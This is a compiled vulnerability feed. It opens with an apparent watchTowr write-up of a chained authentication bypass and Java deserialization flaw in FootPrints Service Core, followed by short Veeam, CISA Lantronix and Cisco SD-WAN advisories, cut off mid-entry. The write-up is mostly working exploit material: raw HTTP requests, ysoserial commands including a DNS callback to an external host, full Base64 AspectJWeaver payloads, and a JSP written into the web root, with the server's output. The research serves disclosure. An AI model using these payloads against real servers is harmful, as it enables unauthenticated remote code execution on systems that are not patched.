GET /footprints/servicedesk/aspnetconfig/ HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;


HTTP/1.1 200 
Cache-Control: private
Set-Cookie: JSESSIONID=4CC85B0B94E801ADA5C5DAFC865244A7; Path=/footprints/servicedesk; HttpOnly
Cache-Control: private
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Length: 1396
Date: Wed, 03 Sep 2025 02:32:04 GMT
Keep-Alive: timeout=20
Connection: keep-alive

"&gt;

&lt;html xmlns="&lt;http://www.w3.org/1999/xhtml&gt;" &gt;
&lt;head&gt;&lt;title&gt;
    ASP.Net Web Application Administration
&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
    &lt;form method="post" action="SecurError.aspx" id="form1"&gt;
&lt;script type="text/javascript"&gt;
//
&lt;/script&gt;
&lt;div&gt;
    &lt;input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="rO0ABXNyACJzeXN0ZW0uV2ViLlVJLlBhZ2UkU3RhdGVTZXJpYWxpemVyAAAAAADK/+4MAAB4cgANc3lzdGVtLk9iamVjdAAAAAAAyv/uAwAAeHB3AwwAAHg=" /&gt;
&lt;/div&gt;
    &lt;div style="font-weight: bold; font-size: 11pt;"&gt;
        By default, the Web Site Administration Tool may only be accessed locally. 
        To enable accessing it from a remote computer, open the Web.config file, add the key <br>
        allowRemoteConfiguration to the appSettings section, and set its value to true: <br>
        <pre>        &amp;lt appSettings &amp;gt 
              &amp;lt/ add key="allowRemoteConfiguration" value="True" /&amp;gt 
        &amp;lt/ appSettings &amp;gt
        </pre>
    &lt;/div&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

Now, for those following along at home who may not be avid readers, we want to call back to our IBM Operational Decision Manager RCE, research - there’s an important pattern here in the __VIEWSTATE response: rO0ABXN!

This pattern is the Base64 prefix of a Java object. If we decode the value, we can immediately see the telltale signs of a serialized Java object:

¬ísr"system.Web.UI.Page$StateSerializerÊÿîxrsystem.ObjectÊÿîxpwx

At this point, our interest is very much piqued. You can probably already see where this is heading - and yes, we’ll get there.

Hold on tight for deserialization.

Strap In Folks!

The appliance’s response exposes a raw Java object in the __VIEWSTATE parameter, which immediately stands out.

__VIEWSTATE is typically associated with .NET applications as we’re sure you know - but here, we’re dealing with Java.

Sigh.. Mono…

> Mono is an open-source implementation of Microsoft’s .NET Framework that runs across multiple platforms (Linux, macOS, Windows, BSD, etc.). It allows you to build and run applications written in C#, F#, and other .NET languages outside of Windows. Mono includes a C# compiler and a Common Language Runtime (CLR) that mimics Microsoft’s .NET runtime.

That would also make sense given the presence of .aspx files in the filesystem.

And, of course, __VIEWSTATE is no stranger to deserialization research in the .NET world - especially when the keys used to protect its value are known. The more interesting question here is how that behaviour translates when the implementation is Mono-based, but the underlying application logic is still rooted in Java.

When testing for deserialization, it’s important that we begin with an object that relies on classes already present on the target’s classpath. That can vary from product to product, but one gadget chain that is almost always worth reaching for first is URLDNS.

URLDNS triggers a DNS lookup to attacker-controlled infrastructure, making it an ideal low-impact way to confirm that deserialization is taking place without immediately reaching for full code execution.

You can generate a payload for this using the following ysoserial command:

Java -jar ysoserial.jar URLDNS "https://{{external-url}}"| base64

When we first tried supplying the object via a GET request, we immediately ran into a few observations:

  1. The mere presence of the __VIEWSTATE parameter triggered a 302 response, redirecting us to an error page.
  2. The object was not deserialized, and no DNS query was observed hitting our infrastructure.
  3. Switching to POST didn’t help either - regardless of request structure, the server consistently responded with 403 Forbidden.

Let’s try..

GET /footprints/servicedesk/aspnetconfig/CreateUser.aspx?__VIEWSTATE=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALDR0eTkxaXByZTZqbG51bHdoZm1ueW4xOW0wc3VnazQ5Lm9hc3RpZnkuY29tdAAAcQB+AAV0AAVodHRwc3B4dAA0aHR0cHM6Ly80dHk5MWlwcmU2amxudWx3aGZtbnluMTltMHN1Z2s0OS5vYXN0aWZ5LmNvbXg= HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; 



HTTP/1.1 302 
Cache-Control: private
Set-Cookie: JSESSIONID=E014BB23BFB56540DC2FDFE9C0EB3778; Path=/footprints/servicedesk; HttpOnly
Location: /footprints/servicedesk/aspnetconfig/404.htm?aspxerrorpath=/footprints/servicedesk/aspnetconfig/CreateUser.aspx
Cache-Control: private
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Length: 226
Date: Wed, 03 Sep 2025 02:46:55 GMT
Keep-Alive: timeout=20
Connection: keep-alive

&lt;html&gt;&lt;head&gt;&lt;title&gt;Object moved&lt;/title&gt;&lt;/head&gt;&lt;body&gt;
<h2>Object moved to <a href="/footprints/servicedesk/aspnetconfig/404.htm?aspxerrorpath=/footprints/servicedesk/aspnetconfig/CreateUser.aspx">here</a></h2>
&lt;/body&gt;&lt;html&gt;

Sigh……

Debug For Glory!

Undeterred by the lack of deserialization/our own skill issues, we turned to code - and our trusty debugger - for answers.

Focusing on Mainsoft/Web/Hosting/BaseFacesStateManager.class, we quickly located the point where the __VIEWSTATE request parameter is handled.

    protected final Object GetStateFromClient(FacesContext facesContext, String viewId, String renderKitId) {
        Object map = null;
        Object s1 = null;
        Object buffer = null;
        InputStream bytearrayinputstream = null;
        ObjectInputStream inputStream = null;
        Object state = null;
        map = facesContext.getExternalContext().getRequestParameterMap();
        s1 = StringStaticWrapper.StringCastClass(map.get(VIEWSTATE)); &lt;---- [0]
        buffer = Convert.FromBase64String((String)s1); &lt;---- [1]
        bytearrayinputstream = access$200(TypeUtils.ToSByteArray(buffer)); &lt;---- [2]
        inputStream = access$300(bytearrayinputstream); 
        state = inputStream.readObject(); &lt;---- [3]
        inputStream.close();
        bytearrayinputstream.close();
        return state;
    }

This function is a textbook example of how deserialization is taking place:

  • [0] - The request parameter map retrieves the __VIEWSTATE value and assigns it to s1
  • [1] - That value is then decoded from Base64 into a buffer
  • [2] - The buffer is read into a byte array
  • [3] - The byte array is passed into readObject(), where deserialization occurs

Unfortunately, for reasons not yet obvious, the request still fails - because s1 is never actually populated.

As shown below, the __VIEWSTATE parameter resolves to null :

Digging further into how request parameters are parsed, we followed execution into getRequestParameterMap():

public Map getRequestParameterMap() {
    Map CS$0$0000 = null;
    Object var10000 = this._requestParameterMap;
    if (this._requestParameterMap == null) {
        BaseExternalContext.RequestParameterMap var2;
        this._requestParameterMap = var2 = access$000(this.get_Context().get_Request().get_Form());
        var10000 = var2;
    }

    return (Map)var10000;
}

And finally into get_Form(), where we can see that request variables are only processed when one of two content types is present at [0] and [1]:

public final NameValueCollection get_Form() {
    if (this.form == null) {
        this.form = new WebROCollection();
        this.files = new HttpFileCollection();
        if (this.IsContentType("multipart/form-data", true)) {  &lt;---- [0]
            this.LoadMultiPart();
        } else if (this.IsContentType("application/x-www-form-urlencoded", true)) {  &lt;---- [1]
            this.LoadWwwForm();
        }

        this.form.Protect();
    }

Now, we’d be lying if we said we figured this part out from the code first, rather than by button-mashing our super-finisher until we managed to get a value into the s1 parameter.

That said, we ultimately identified two ways to achieve our goal.

The first is by sending the request with a Content-Type header of multipart/form-data - (ahem ahem something we actually discovered while writing this blog post ahem ahem):

POST /footprints/servicedesk/aspnetconfig/ HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwyEWsOTbKQLLJ1P
Content-Length: 600

------WebKitFormBoundarywwyEWsOTbKQLLJ1P
Content-Disposition: form-data; name="__VIEWSTATE"

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALHk2NTNlYzJscjB3ZjBveXF1OXpoYmhlM3p1NXB0Zmg0Lm9hc3RpZnkuY29tdAAAcQB+AAV0AAVodHRwc3B4dAA0aHR0cHM6Ly95NjUzZWMybHIwd2Ywb3lxdTl6aGJoZTN6dTVwdGZoNC5vYXN0aWZ5LmNvbXg=
------WebKitFormBoundarywwyEWsOTbKQLLJ1P--

Our initial discovery - albeit through a bit of button-bashing - showed that it was possible to deliver the value by:

  1. Sending a GET request
  2. Including a dummy __VIEWSTATE parameter in the query string
  3. Supplying the real __VIEWSTATE value in the request body
  4. Using a Content-Type of application/x-www-form-urlencoded
GET /footprints/servicedesk/aspnetconfig/?__VIEWSTATE=watchTowr HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; 
Content-Type: application/x-www-form-urlencoded
Content-Length: 1380

__VIEWSTATE=%72%4f%30%41%42%58%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%78%33%43%41%41%41%41%42%41%41%41%41%41%42%63%33%49%41%44%47%70%68%64%6d%45%75%62%6d%56%30%4c%6c%56%53%54%4a%59%6c%4e%7a%59%61%2f%4f%52%79%41%77%41%48%53%51%41%49%61%47%46%7a%61%45%4e%76%5a%47%56%4a%41%41%52%77%62%33%4a%30%54%41%41%4a%59%58%56%30%61%47%39%79%61%58%52%35%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%54%41%41%45%5a%6d%6c%73%5a%58%45%41%66%67%41%44%54%41%41%45%61%47%39%7a%64%48%45%41%66%67%41%44%54%41%41%49%63%48%4a%76%64%47%39%6a%62%32%78%78%41%48%34%41%41%30%77%41%41%33%4a%6c%5a%6e%45%41%66%67%41%44%65%48%44%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%33%51%41%4c%48%6b%32%4e%54%4e%6c%59%7a%4a%73%63%6a%42%33%5a%6a%42%76%65%58%46%31%4f%58%70%6f%59%6d%68%6c%4d%33%70%31%4e%58%42%30%5a%6d%67%30%4c%6d%39%68%63%33%52%70%5a%6e%6b%75%59%32%39%74%64%41%41%41%63%51%42%2b%41%41%56%30%41%41%56%6f%64%48%52%77%63%33%42%34%64%41%41%30%61%48%52%30%63%48%4d%36%4c%79%39%35%4e%6a%55%7a%5a%57%4d%79%62%48%49%77%64%32%59%77%62%33%6c%78%64%54%6c%36%61%47%4a%6f%5a%54%4e%36%64%54%56%77%64%47%5a%6f%4e%43%35%76%59%58%4e%30%61%57%5a%35%4c%6d%4e%76%62%58%67%3d

As shown below, our injected __VIEWSTATE value is successfully assigned to s1 - which is then ultimately passed into the deserialization flow:

The URLDNS gadget chain fired successfully, sending a DNS lookup to our listening infrastructure - now, time for a gadget chain to achieve RCE (and get dinner?).

Before diving into custom gadget development and disappearing into the class-tracing trenches, it’s always worth checking what the community has already done for you. ysoserial maintains a curated set of known gadget chains, and it’s the natural first stop.

Unfortunately, the usual suspects - such as the Apache Commons-based chains - weren’t viable here, as the target codebase doesn’t rely on the expected libraries in the right way.

That said, we got lucky.

The application includes aspectjweaver-1.9.2 and commons-collections:3.2.2, which line up perfectly for the well-known arbitrary file write gadget chain AspectJWeaver, originally authored by the legendary Jang.

To generate a working payload, the following ysoserial command can be used:

java -jar ysoserial.jar AspectJWeaver "filename.jsp;BASE64TEXT" | base64

It’s important to note that the filename can contain path traversal sequences and arbitrary directory separators.

With that in mind, we craft a harmless payload that writes a .jsp script into the FootPrints web root which, when executed, enumerates the system’s current user and working directory:

java -jar ysoserial.jar AspectJWeaver "webapps/ROOT/watchTowr.jsp;PCVAIHBhZ2UgbGFuZ3VhZ2U9ImphdmEiIGNvbnRlbnRUeXBlPSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT4KPCUKICAgIFN0cmluZyBvc1VzZXIgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIubmFtZSIpOwogICAgU3RyaW5nIGN3ZCA9IFN5c3RlbS5nZXRQcm9wZXJ0eSgidXNlci5kaXIiKTsKJT4KPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT53YXRjaFRvd3IgU3lzdGVtIEluZm88L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPlN5c3RlbSBJbmZvcm1hdGlvbjwvaDE+CiAgICA8cD48c3Ryb25nPk9TIFVzZXI6PC9zdHJvbmc+IDwlPSBvc1VzZXIgJT48L3A+CiAgICA8cD48c3Ryb25nPkN1cnJlbnQgV29ya2luZyBEaXJlY3Rvcnk6PC9zdHJvbmc+IDwlPSBjd2QgJT48L3A+CjwvYm9keT4KPC9odG1sPgo=" | base64

Your Favorite Band Is Back Together

For those following along at home, the grand finale is now hopefully obvious.

By chaining the Authentication Bypass (CVE-2025-71257) and this Deserialization of Untrusted Data (CVE-2025-71260), we can achieve Arbitrary File Write - and, ultimately, Pre-Authenticated Remote Code Execution.

Let’s play it out..

CVE-2025-71257 - Authentication Bypass (Extract the “SEC_TOKEN” cookie)

GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
Host: {{Hostname}}

CVE-2025-71260 - Deserialize to Arbitrary File Write (Using the “SEC_TOKEN” cookie from the first request)

POST /footprints/servicedesk/aspnetconfig/ HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=TF06JG8cShIK0q3yJe+o_KDf2fDpnt2JU6c7Tfhr&amp;zWoA1itiu; 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwyEWsOTbKQLLJ1P
Content-Length: 1624

------WebKitFormBoundarywwyEWsOTbKQLLJ1P
Content-Disposition: form-data; name="__VIEWSTATE"

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4
------WebKitFormBoundarywwyEWsOTbKQLLJ1P--

And voila - our friendly watchTowr.jsp is written to the file system:

GET /watchTowr.jsp HTTP/1.1
Host: {{Hostname}}


HTTP/1.1 200 
Set-Cookie: JSESSIONID=F3BCBF9067A19B61E3AFD0B1ADA18D1D; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8
Content-Length: 300
Date: Wed, 03 Sep 2025 03:45:58 GMT


&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;watchTowr System Info&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    <h1>System Information</h1>
    <p><strong>OS User:</strong> LOCAL SERVICE$</p>
    <p><strong>Current Working Directory:</strong> C:\\Program Files\\Apache Software Foundation\\Tomcat 9.0</p>
&lt;/body&gt;
&lt;/html&gt;

Detection Artifact Generator

That’s right. It’s time for yet another watchTowr Detection Artifact Generator tool!

The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.

By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.

Gain early access to our research, and understand your exposure, with the watchTowr Platform

REQUEST A DEMO

Related vulnerabilities: CVE-2025-71259CVE-2025-71260CVE-2025-71258CVE-2025-24813CVE-2025-71257

JSON

KB4830: Vulnerabilities Resolved in Veeam Backup & Replication 12.3.2.4465

Veeam Software Security Commitment

Veeam® is committed to ensuring its products protect customers from potential risks. As part of that commitment, we operate a Vulnerability Disclosure Program (VDP) for all Veeam products and perform extensive internal code audits. When a vulnerability is identified, our team promptly develops a patch to address and mitigate the risk. In line with our dedication to transparency, we publicly disclose the vulnerability and provide detailed mitigation information. This approach ensures that all potentially affected customers can quickly implement the necessary measures to safeguard their systems. It’s important to note that once a vulnerability and its associated patch are disclosed, attackers will likely attempt to reverse-engineer the patch to exploit unpatched deployments of Veeam software. This reality underscores the critical importance of ensuring that all customers use the latest versions of our software and install all updates and patches without delay.

Issue Details

All vulnerabilities disclosed in this article affect Veeam Backup & Replication 12.3.2.4165 and all earlier version 12 builds.

CVE-2026-21666

A vulnerability allowing an authenticated domain user to perform remote code execution (RCE) on the Backup Server.

Severity: Critical
CVSS v3.1 Score: 9.9CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Source: Reported by HackerOne.

CVE-2026-21667

A vulnerability allowing an authenticated domain user to perform remote code execution (RCE) on the Backup Server.

Severity: Critical
CVSS v3.1 Score: 9.9CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Source: Discovered during internal testing.

CVE-2026-21668

A vulnerability allowing an authenticated domain user to bypass restrictions and manipulate arbitrary files on a Backup Repository.

Severity: High
CVSS v3.1 Score: 8.8CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Source: Discovered during internal testing.

CVE-2026-21672

A vulnerability allowing local privilege escalation on Windows-based Veeam Backup & Replication servers.

Severity: High
CVSS v3.1 Score: 8.8CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Source: Reported through HackerOne.

CVE-2026-21708

A vulnerability allowing a Backup Viewer to perform remote code execution (RCE) as the postgres user.

Severity: Critical
CVSS v3.1 Score: 9.9CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Source: Discovered during internal testing.

Other Resolved Security-related Issues

  • Veeam Agent for Linux — Updated the port range that the software will open in the machine's firewall to align with other Veeam products. Veeam Agent for Linux will now open ports 2500-3300.

Solution

If this KB article did not resolve your issue or you need further assistance with Veeam software, please create a Veeam Support Case.

To submit feedback regarding this article, please click this link: Send Article Feedback
To report a typo on this page, highlight the typo with your mouse and press CTRL + Enter.

Related vulnerabilities: CVE-2026-21672CVE-2026-21668CVE-2026-21667CVE-2026-21708CVE-2026-21666

JSON

Lantronix EDS3000PS and EDS5000 | CISA

View CSAF

Summary

Successful exploitation of these vulnerabilities could allow an attacker to bypass authentication and execute code with root-level privileges.

The following versions of Lantronix EDS3000PS and EDS5000 are affected:

  • EDS3000PS 3.1.0.0R2 (CVE-2025-67039, CVE-2025-70082, CVE-2025-67041)

  • EDS5000 2.1.0.0R3 (CVE-2025-67034, CVE-2025-67035, CVE-2025-67036, CVE-2025-67037, CVE-2025-67038)

  • CVSS: v3 9.8

  • Vendor: Lantronix
  • Equipment: Lantronix EDS3000PS and EDS5000
  • Vulnerabilities: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), Authentication Bypass Using an Alternate Path or Channel, Unverified Password Change

Background

  • Critical Infrastructure Sectors: Communications, Information Technology, Critical Manufacturing
  • Countries/Areas Deployed: Worldwide
  • Company Headquarters Location: United States

Vulnerabilities

Expand All +

CVE-2025-67035

An issue was discovered in Lantronix EDS5000 2.1.0.0R3. The SSH Client and SSH Server pages are affected by multiple OS injection vulnerabilities due to missing sanitization of input parameters. An attacker can inject arbitrary commands in delete actions of various objects, such as server keys, users, and known hosts. Commands are executed with root privileges.

View CVE Details

Affected Products

Lantronix EDS3000PS and EDS5000

Vendor:
Lantronix

Product Version:
Lantronix EDS5000: 2.1.0.0R3

Product Status:
known_affected

Relevant CWE: CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Metrics

CVE-2025-67038

An issue was discovered in Lantronix EDS5000 2.1.0.0R3. The HTTP RPC module executes a shell command to write logs when user's authentication fails. The username is directly concatenated with the command without any sanitization. This allow attackers to inject arbitrary OS commands into the username parameter. Injected commands are executed with root privileges.

View CVE Details

Affected Products

Lantronix EDS3000PS and EDS5000

Vendor:
Lantronix

Product Version:
Lantronix EDS5000: 2.1.0.0R3

Product Status:
known_affected

Relevant CWE: CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Metrics

CVE-2025-67039

An issue was discovered in Lantronix EDS3000PS 3.1.0.0R2. The authentication on management pages can be bypassed by appending a specific suffix to the URL and by sending an Authorization header that uses "admin" as the username.

View CVE Details

Affected Products

Lantronix EDS3000PS and EDS5000

Vendor:
Lantronix

Product Version:
Lantronix EDS3000PS: 3.1.0.0R2

Product Status:
known_affected

Relevant CWE: CWE-288 Authentication Bypass Using an Alternate Path or Channel

Metrics

CVE-2025-70082

The administrator password can be changed without knowledge of the current password. When chained with an authentication bypass vulnerability, this issue may allow unauthenticated attackers to modify the administrator password.

View CVE Details

Affected Products

Lantronix EDS3000PS and EDS5000

Vendor:
Lantronix

Product Version:
Lantronix EDS3000PS: 3.1.0.0R2

Product Status:
known_affected

Relevant CWE: CWE-620 Unverified Password Change

Metrics

Acknowledgments

  • Francesco La Spina and Stanislav Dashevskyi of Forescout Technologies reported these vulnerabilities to CISA

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities, such as:

Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.

Locate control system networks and remote devices behind firewalls and isolating them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

CISA also recommends users take the following measures to protect themselves from social engineering attacks:

Do not click web links or open attachments in unsolicited email messages.

Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

Revision History

  • Initial Release Date: 2026-03-10
Date Revision Summary
2026-03-10 1 Initial Publication

Legal Notice and Terms of Use

Related vulnerabilities: CVE-2025-67037CVE-2025-67035CVE-2025-67041CVE-2025-70082CVE-2025-67034CVE-2025-67039CVE-2025-67036CVE-2025-67038

JSON

Cisco Catalyst SD-WAN Vulnerabilities

  • These vulnerabilities are not dependent on one another. Exploitation of one of the vulnerabilities is not required to exploit another vulnerability.

    Details about the vulnerabilities are as follows:

    CVE-2026-20129: Cisco Catalyst SD-WAN Manager Authentication Bypass Vulnerability

    A vulnerability in the API user authentication of Cisco Catalyst SD-WAN Manager could allow an unauthenticated, remote attacker to gain access to an affected system as a user who has the netadmin role.

    The vulnerability is due to improper authentication for requests that are sent to the API. An attacker could exploit this vulnerability by sending a crafted request to the API of an affected system. A successful exploit could allow the attacker to execute commands with the privileges of the netadmin role.

    Note: Cisco Catalyst SD-WAN Manager releases 20.18 and later are not affected by this vulnerability.

    Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

    Bug ID(s): CSCws33587
    CVE ID: CVE-2026-20129
    Security Impact Rating (SIR): Critical
    CVSS Base Score: 9.8
    CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    CVE-2026-20126: Cisco Catalyst SD-WAN Manager Privilege Escalation Vulnerability

    A vulnerability in Cisco Catalyst SD-WAN Manager could allow an authenticated, local attacker with low privileges to gain root privileges on the underlying operating system.

    This vulnerability is due to an insufficient user authentication mechanism in the REST API. An attacker could exploit this vulnerability by sending a request to the REST API of the affected system. A successful exploit could allow the attacker to gain root privileges on the underlying operating system.

    Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

    Bug ID(s): CSCws93470
    CVE ID: CVE-2026-20126
    Security Impact Rating (SIR): High
    CVSS Base Score: 7.8
    CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

    CVE-2026-20133: Cisco Catalyst SD-WAN Manager Information Disclosure Vulnerability

    A vulnerability in Cisco Catalyst SD-WAN Manager could allow an unauthenticated, remote attacker to view sensitive information on an affected system.

    This vulnerability is due to insufficient file system access restrictions. An attacker could exploit this vulnerability by accessing the API of an affected system. A successful exploit could allow the attacker to read sensitive information on the underlying operating system.

    Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

    Bug ID(s): CSCws33583
    CVE ID: CVE-2026-20133
    Security Impact Rating (SIR): High
    CVSS Base Score: 7.5
    CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

    CVE-2026-20122: Cisco Catalyst SD-WAN Manager Arbitrary File Overwrite Vulnerability

    A vulnerability in the API of Cisco Catalyst SD-WAN Manager could allow an authenticated, remote attacker to overwrite arbitrary files on the local file system. To exploit this vulnerability, the attacker must have valid read-only credentials with API access on the affected system.

    This vulnerability is due to improper file handling on the API interface of an affected system. An attacker could exploit this vulnerability by uploading a malicious file on the local file system. A successful exploit could allow the attacker to overwrite arbitrary files on the affected system and gain vmanage user privileges.

    Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

    Bug ID(s): CSCws33584, CSCws33586
    CVE ID: CVE-2026-20122
    Security Impact Rating (SIR): High
    CVSS Base Score: 7.1
    CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

    CVE-2026-20128: Cisco Catalyst SD-WAN Manager Information Disclosure Vulnerability

